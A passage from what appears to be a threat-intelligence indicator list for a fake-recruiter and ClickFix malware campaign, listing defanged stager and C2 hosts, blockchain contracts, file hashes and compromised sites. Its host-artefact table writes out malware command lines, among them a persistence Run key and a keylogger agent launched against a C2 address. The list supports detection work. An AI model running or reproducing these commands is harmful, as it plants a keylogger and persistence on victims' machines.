prestonellis97@gmail[.]com | Fake recruiter | |
| LinkedIn name | Miguel Urias | Profile used by the recruiter, possibly stolen or impersonated |
Delivery
| Type | Value | Notes |
|---|---|---|
| IP | 84.200.33[.]163 | /302/302w, 302l, 302m, token.cmd, tokenlinux.sh, parser.js, package.json |
| IP | 144.172.103[.]226 | /301/, /302/ |
| IP | 38.146.27[.]178 | /302/ |
| IP | 216.126.239[.]166 | /69/ |
| Host | ymbbbklz4w24ikhj[.]public[.]blob[.]vercel-storage[.]com | token_windows.cmd, 101.js, json |
| Host | cqintzfep6rw6jc9[.]public[.]blob[.]vercel-storage[.]com | 2.bat, 1-1.bat, npm.zip, README.txt |
| Host | script-six-tawny[.]vercel[.]app | /win and /mac, ClickFix (ErrTraffic) second stage |
| URL | hxxps[:]//script[.]google[.]com/macros/s/AKfycbzs0vQRvI-2Bx4VUUCxUA4k64HdkiHicTmuK3y1MXAl7AgjPIWtRBZqH0v6EzzeuBaH/exec | Victim logger |
| URL | hxxps[:]//script[.]google[.]com/macros/s/AKfycbxb4fgd5zGFw51svmYeN9q3SMoiJiFd4AymTbW8wjQQBUi86MYgh4HjxFXM1juXIyjZ/exec | Victim logger, new contract 2026-10-27 |
| Domain | softify[.]space | /w/8ecec3ba, /u/8ecec3ba, new contracts 2026-10-27 |
| Domain | updpkg[.]net | /w/8ecec3ba, fetched by softify[.]space, not yet tied to DPRK |
| Domain | dist-cdn[.]net | /w/8ecec3ba, fallback for updpkg[.]net, not yet tied to DPRK |
| Page marker | __AVT_VERCEL_BASE, __AVT_APPS_SCRIPT_URL, cogni-lsc-captcha | Overlay config globals and comment |
| URL | hxxps[:]//kkhf7a[.]s[.]gy/ea5ed343a2885831 | Fallback stage 3 |
Fake Company Sites and Stagers
| Type | Value | Notes |
|---|---|---|
| Domain | www[.]tokenmetrics[.]org | Fake “Token Metrics” lure, token 304, 2026-10-18 to 2026-10-28 |
| Domain | www[.]onerapay[.]com | Fake “OneraPay” exchange lure, tokens 202 / 306, 2026-09-23 |
| Domain | www[.]billiontowers[.]com | Fake Web3 finance lure, token 310, 2026-09-24 |
| Host | status-handler-sage[.]vercel[.]app | Victim logger, /api/entered-site, /api/get-status |
| Host | api[.]recapcha[.]fun | Clipboard stager, /auth/v1 (Windows), /auth/v2 (Linux), /auth/v3 (macOS) |
| IP | 165.140.86[.]190 | Stager on :3000, /task/windows?token=, /task/mac?token=, /task/tokenlinux, seen 2026-10-26 |
| IP | 162.0.239[.]85 | Stager on :3000, /task/tokenlinux?token=30621301, seen 2026-10-17 |
| Host | zenithflow-ext123456[.]vercel[.]app | Stager, /api/m, seen 2026-10-25 |
| Host | codeviewer-three[.]vercel[.]app | Stager, /task/{windows,linux,mac,tokenlinux}?token= |
| Host | brantwork[.]vercel[.]app | Stager, /task/linux?token=3f1193ed6431 |
| Host | georgeservice77[.]vercel[.]app | Stager, /task/mac?token=31d27f3f2f35 |
| Host | ext-checkedin[.]vercel[.]app | Stager, /api/m?token= |
| Host | everydaynodechecker-39147n[.]vercel[.]app | Stager, /api/tokenl?st= |
| Host | micglasstown[.]vercel[.]app | Stager (moderate), /task/{windows,linux,mac}?token=90284, seen 2026-10-26 |
| Host | task-hrec[.]vercel[.]app | Stager (moderate), /task/{windows,linux,mac}?token=ad76e54312f1 |
| Host | brianwebpool[.]vercel[.]app | Stager (moderate), /task/windows?token=90284f2a63c0 |
| Host | vioa-ext[.]vercel[.]app | Stager (moderate), /task/mac?token=bc7477f75dca |
| Host | vscode-config[.]vercel[.]app | Stager (moderate), /task/windows?token=99 |
| Host | vscode-config-setting[.]vercel[.]app | Stager (moderate), /task/windows?token=812 |
| IP | 65.108.27[.]116 | Stager (moderate) on :3000, /task/mac?token=30621346 |
| IP | 45.61.164[.]38 | Stager (moderate) on :8080, /task/tokenlinux?id=401 |
| Page text | I am not a bot. I am fixing issues as a service. ID: | Comment appended to the clipboard command |
C2
| Type | Value | Notes |
|---|---|---|
| IP | 13.140.228[.]125 | team1, current, :5000 |
| IP | 13.140.43[.]225 | team1, earlier, :5000 RAT and :5056 keylogger, hardcoded in key-agent.js |
| IP | 13.140.40[.]133 | team2, current |
| IP | 45.59.163[.]43 | team2, earlier |
| IP | 80.190.73[.]17 | team3, current |
| IP | 13.140.40[.]214 | team3, earlier |
| IP | 13.140.40[.]208 | team3, earlier |
| IP | 66.235.168[.]14 | team3, earlier |
| IP | 82.158.192[.]152 | team9 |
| IP | 147.93.2[.]250 | team10, current |
| IP | 165.140.86[.]57 | team10, earlier |
| IP | 91.202.5[.]124 | 1.d hardcoded, /api/service/7a562685932fab76724a4e7217893ffb |
| IP | 150.241.203[.]68 | collector, current, :7200 |
| IP | 66.235.168[.]152 | collector, earlier, :7200 |
| IP | 195.66.213[.]162 | Header fingerprint |
| IP | 138.226.247[.]147 | Header fingerprint |
| IP | 138.226.247[.]152 | Header fingerprint, dashcenterhost[.]info |
| IP | 138.226.247[.]154 | Header fingerprint |
| IP | 13.140.43[.]228 | Header fingerprint |
| IP | 38.92.47[.]164 | Header fingerprint |
| IP | 45.43.11[.]224 | Header fingerprint |
| IP | 165.140.86[.]58 | Header fingerprint |
| IP | 45.59.160[.]215 | Header fingerprint |
| Header | Access-Control-Expose-Headers: Last-Modified,X-File-Modified-At,X-File-Mtime-Ms | C2 response header |
| Host | summer-bitter-slug[.]matic[.]quiknode[.]pro | Operator’s QuickNode Polygon RPC |
Blockchain (Polygon)
| Type | Value | Notes |
|---|---|---|
| Wallet | 0x62306bbaac0508d3be1647adeadc74ca43cacb41 | Treasury, funded all five deployers |
| Wallet | 0x8c6dbd55ea75d9b3d2fac545ad9ab6b75f90bca6 | team1 deployer |
| Wallet | 0xa3c1564770bb3951e7acdb95cdd9c3be3e30a5e7 | team2 deployer |
| Wallet | 0xe9b2bb01cbde3b8447c57ad4e81627927c16732a | team3 deployer |
| Wallet | 0x3f2e269d81d34b6bde3962db61806dc003129cbc | team9 deployer |
| Wallet | 0x85b3b994e937927aff8f423e3b9c99ddac451547 | team10 deployer |
| Contract | 0x4917f0f44be927e6e8b5e4c904a9dd98bfae8b76 | team1, key b9f494d3657202f17485afe7292e2aa |
| Contract | 0x5c00998365a57cd53ab5ea2963689a158dff6301 | team2, key 05052f0c4d6b1c798f3256b331692e6 |
| Contract | 0x1a9700e5d74f64429594df53efcb6bc8c3936cb5 | team3, key 61d64ce104c85a222cf9006b3087965 |
| Contract | 0x05a071fcccb797cff4eedce28d0ae9c01444dc1a | team9, key 883d2e9b94c10faf42a505c6c279d6d |
| Contract | 0xf4da4843ded8e82f3e7bd25290f4445000a4c4dd | team10, key 239b398e46344a434af8b4d6387c2cb |
| Contract | 0xb5a3db644aad5124b17bf96c3782d5d7623b89fd | collector, key 49108f562928ec1785ea3a66c01ffa5 |
| Wallet | 0xb8c9ea1136c4ddc8bd96b1f6674c1469546e27dd | collector deployer, funded by the team9 deployer |
| Contract (BSC) | 0x84b730a68098e66a3c1bad4ad145e6546acfcfea | Registry deployed by the treasury (transaction 83), reported by Kirill Popov |
| Selector | 0x8eaa6ac0 | Getter the loader calls |
| Selector | 0xb4800033 | Setter the deployers use |
| Contract | 0xf70730a4e5b89b6c6e02edaed582badf6465e9d9 | ClickFix (ErrTraffic) overlay link config, Apps Script + Vercel |
| Contract | 0xb6bc9e1d0b2fb96ab7c47e04cb0be477410bc1f2 | ClickFix (ErrTraffic) overlay domain contract, selector 0xb68d1809 |
| Contract | 0x4b68ee3f26d2062dffc2a980600fa13c27eb6b5d | ClickFix overlay, new 2026-10-27, softify[.]space |
| Contract | 0x289fd372fc932a5c68846b97e249a4e4299f4f48 | ClickFix overlay, new 2026-10-27, softify[.]space + new Apps Script |
| Wallet | 0x4b3ebea0e6795915da2fdd7f4b144e106b4497d2 | ClickFix overlay deployer |
| Wallet | 0xc4ae381a843cea3724f007d655d2b50ce92edc0d | Funded the overlay deployer |
Files
| Name | SHA256 | Notes |
|---|---|---|
token_windows.cmd | 5784bc7081fe600212a4d24c304159d4135fdbdd292e3b2214e88b4bb70463a5 | VT 20/56 |
token.cmd | 99a74570fa5fc13f000670cd314707cb08275d1ca8347801fdc27df508b053d1 | /302/ |
tokenlinux.sh | 47c0d92b76fc8399a217da9e169042ee66639bb84da848e6db259736f30320b0 | /302/ |
302w | bde5c02bb3b72f8a5564a63b56337cffec5f2052d7f78d123269dd55125ba0c9 | Windows paste command |
302l | 6497f4d0c65e56b12ea4dfd170bfac891cf8b4612fa4e8fa4825cb59a8b96ea8 | Linux paste command |
302m | 09192b6e580fbad5ddbf4fec15fd90eca678ac060f232bdc1da67c029842c35a | macOS paste command |
/win | ed3756badf80acf41ac5573ed65537315e45a2a567dd1bfc00d391424f10340f | ClickFix second stage |
/mac | f71adc8acfbd8811eef0ee5e69484e108544d04512924ffca3a598ea083425fc | ClickFix macOS second stage, drops token_mac.sh |
101.js / parser.npl | 01e36c45fdc0f44eb73f5c7faef01f73a4a8d3ec07f9d2c9a097f60636b7c875 | VT 1/61 |
package.json (tokendapp) | a1a3464de31694f6f5571ac4ea5e4f48da6f868e736bd6dd4184086478cbabb6 | Decoy |
main.js | 5159690110253f976029da699ee71a3b8c70a320d52219b8dbe501dbb0f0db58 | Stage 3, embedded text |
2.bat | 03d6c8cdf1b26aeedfcdd41fbaed94a273a28ccf6c58efdb59d104dc5ca643cd | VT 9/75 |
1-1.bat | 83d172a6effbddee70ff23bc773d0d0c019a6d978298f46588222ade5b83108c | VT 24/75 |
npm.zip | d5b285ebfb5342e571c466884a3812bfc031abd5252a92d822dfaac18766661e | VT 7/75 |
1.d | 7a9e2015e113960853f68a0e8fc48e9596dbaec857b0211ca1c79bb97fd38d6b | VT 2/75 |
key-agent.js (/download-win-key) | ca2352d60cb1ba956bd64ac68f9a394af0c189ad5abfeee241f97257c2393195 | Keyboard Sync Agent, VT 0/75 |
key-agent.js (as written to disk) | 50b2af734b97c279e50ca4049dc7e3fc10ab84875bc8a474e5b76206350544fe | Keyboard Sync Agent |
abe_payload.dll | 47a76888121a06bf9d56313b21be269a3b5acb32a7c25c0ef8c4739e219c27ce | Chrome App-Bound Encryption bypass, VT 34/75 |
| Stager decoy | 8fcbd1c464365a8a56beeec6da4b944babda843cd3961fdd75220f446b7c0e84 | @echo off / echo Authenticated |
| Stager decoy | accf04ad3228a22532d2f5802a5b0c379c3616564c4766fc1f1ca20dac8dba07 | Permanently suspended |
| Stager decoy | 44563513d77e961ab2664f29f00410776bd0374fa974995033a814433d04cc82 | Access permanently suspended. (HTTP 403) |
| Lure script | 012f5f22e173556dd30168726e1d1651ec4bb86a178d0fe5efc4466f9a62793a | www[.]tokenmetrics[.]org /assets/index-B-4J-Tdf.js |
Host Artefacts
| Type | Value |
|---|---|
| Folder | %USERPROFILE%\.task\ / ~/.task/ (parser.npl, parser.js, parser.log) |
| Folder | %USERPROFILE%\.vs_cache\ (main.js, main.vbs, package.json named main) |
| Folder | %TEMP%\node\ (1.d, pack) |
| Process | msiexec /a "%~dp0node-v<version>-x64.msi" /qn TARGETDIR="%~dp0nodejs" from cmd.exe |
| Process | wscript.exe //B %USERPROFILE%\.vs_cache\main.vbs |
| Process | node.exe making eth_call requests with data starting 0x8eaa6ac0 |
| Process | node.exe %USERPROFILE%\.vs_cache\key-agent.js --win-key-agent -s http://<ip>:5056 -i <campaign> -l <hostname> |
| Registry | HKCU\Software\Microsoft\Windows\CurrentVersion\Run value Microsoft Realtime Aggregator = wscript.exe "%USERPROFILE%\.vs_cache\main.vbs" |
| Registry | Run values deleted by the RAT: NvidiaDriverUpdate, VScode.Update.Publisher, Microsoft Realtime Agreegator |
| File | %USERPROFILE%\.vs_cache\ key-agent.js, abe_payload.dll, client.pid, backup.pause |
| URL path | /register, /content-upload, /file-upload, /download-win-key, /download-abe-payload on the C2 |
Compromised Sites
| Domain | First Seen |
|---|---|
bentleyg[.]com | 2026-10-17 |
atelierdejulie[.]com | 2026-10-17 |
wkaikido[.]pl | 2026-10-20 |
joseluislacasta[.]com | 2026-10-21 |
restyledjunk[.]com | 2026-10-21 |
nhakhoataysaigon[.]com | 2026-10-22 |
morganaorvokki[.]com | 2026-10-26 |
findmyperfecthome[.]co[.]uk | 2026-10-26 |
adamconsultings[.]com | 2026-10-26 |
marcela-beran[.]de | 2026-10-26 |
cestiecalici[.]com | 2026-10-26 |
africanyoutharchitects[.]org | 2026-10-26 |
sanfaz[.]com[.]pk | 2026-10-26 |
limitlessroofingsolutions[.]co[.]uk | 2026-10-26 |
korowater[.]com | 2026-10-26 |
mineralsempire[.]com | 2026-10-28 |
alfathermals[.]com | 2026-10-28 |
ankomelife[.]com | 2026-10-28 |
casadeescola[.]com[.]br | 2026-10-28 |
couponsdealfind[.]com | 2026-10-28 |
ercanmakinabursa[.]com | 2026-10-28 |
fuller-eg[.]com | 2026-10-28 |
idealinvestimmobilier[.]com | 2026-10-28 |
in-person[.]website | 2026-10-28 |
ingecolsan[.]com | 2026-10-28 |
kickstartupbusiness[.]com | 2026-10-28 |
liftingbarriers[.]org | 2026-10-28 |
majdod[.]com | 2026-10-28 |
medicalweedsa[.]com | 2026-10-28 |
pereanton[.]com | 2026-10-28 |
perucio[.]com | 2026-10-28 |
smartgadgetsrus[.]com | 2026-10-28 |
stylinbyshikha[.]com | 2026-10-28 |
tiacollege[.]com | 2026-10-28 |
guvenfilm[.]com | 2026-10-28 |
neomediaworks[.]com | 2026-10-28 |